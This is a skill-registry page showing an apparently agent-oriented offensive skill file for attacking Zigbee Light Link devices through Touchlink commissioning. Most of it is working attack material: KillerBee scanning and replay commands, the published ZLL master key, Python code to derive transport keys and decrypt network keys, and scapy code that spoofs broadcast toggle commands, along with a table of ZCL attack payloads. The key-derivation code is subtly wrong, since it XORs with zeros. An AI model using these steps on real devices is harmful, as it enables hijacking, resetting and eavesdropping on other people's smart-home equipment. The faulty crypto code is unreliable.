Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
60
71%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.mdZigbee Light Link (ZLL) defines a Touchlink commissioning mechanism intended for close-proximity pairing (≤20 cm). The procedure relies on a well-known, publicly documented transport key (ZLL Master Key published in the ZigBee Light Link spec). In practice it works at distances of several metres with a directional antenna, allowing an attacker to steal devices off an existing coordinator, factory-reset smart bulbs, or inject ZCL commands without joining the network.
CC2531_sniffer.hex / cc2652_sniffer.hex (TI) — Wireshark
source, passive.coordinator_20230507.hex from Z-Stack 3.x — gives full TX.scapy-radio, Python 3.x.# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15Key fields to identify in pcap:
0x8841 (Data, ZigBee, PAN compress)0x1000 (ZLL Commissioning cluster)0x00 (Scan Request), 0x01 (Scan Response), 0x07 (Touchlink Reset)The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0DDerive per-device transport key:
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
# transaction_id and response_id come from the Scan Request / Scan Response frames.KillerBee includes zbtouchlink (or use the custom script below):
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
# Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOFFactory reset via zbreplay / custom ZLL Reset-to-factory-new:
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4.
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers
# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
destination=0xFFFF, source=0x1234, radius=1) /
ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
bytes([0x01, 0x00, 0x02]) # ZCL: frame ctrl, seq, cmd=Toggle
)
# send via scapy raw socket on the 802.15.4 interfaceKnown ZCL attack payloads:
| Cluster | Command | Effect |
|---|---|---|
| 0x0006 On/Off | 0x02 Toggle | Flip all lights |
| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |
| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |
| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |
If a Touchlink inter-PAN key transport message is captured, the encrypted NWK key can be decrypted using the derived transport key:
from Crypto.Cipher import AES
def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
cipher = AES.new(transport_key, AES.MODE_ECB)
# ZLL key transport uses AES-ECB on the 16-byte encrypted key material.
return cipher.decrypt(encrypted_key)With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:
EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"kg_add_node(
kind="finding",
label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
props={
"key": f"zigbee-touchlink::{pan_id}",
"pan_id": pan_id,
"channel": channel,
"nwk_key_hex": nwk_key.hex() if nwk_key else None,
"touchlink_reset_success": True,
"source": "killerbee+scapy",
},
)31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.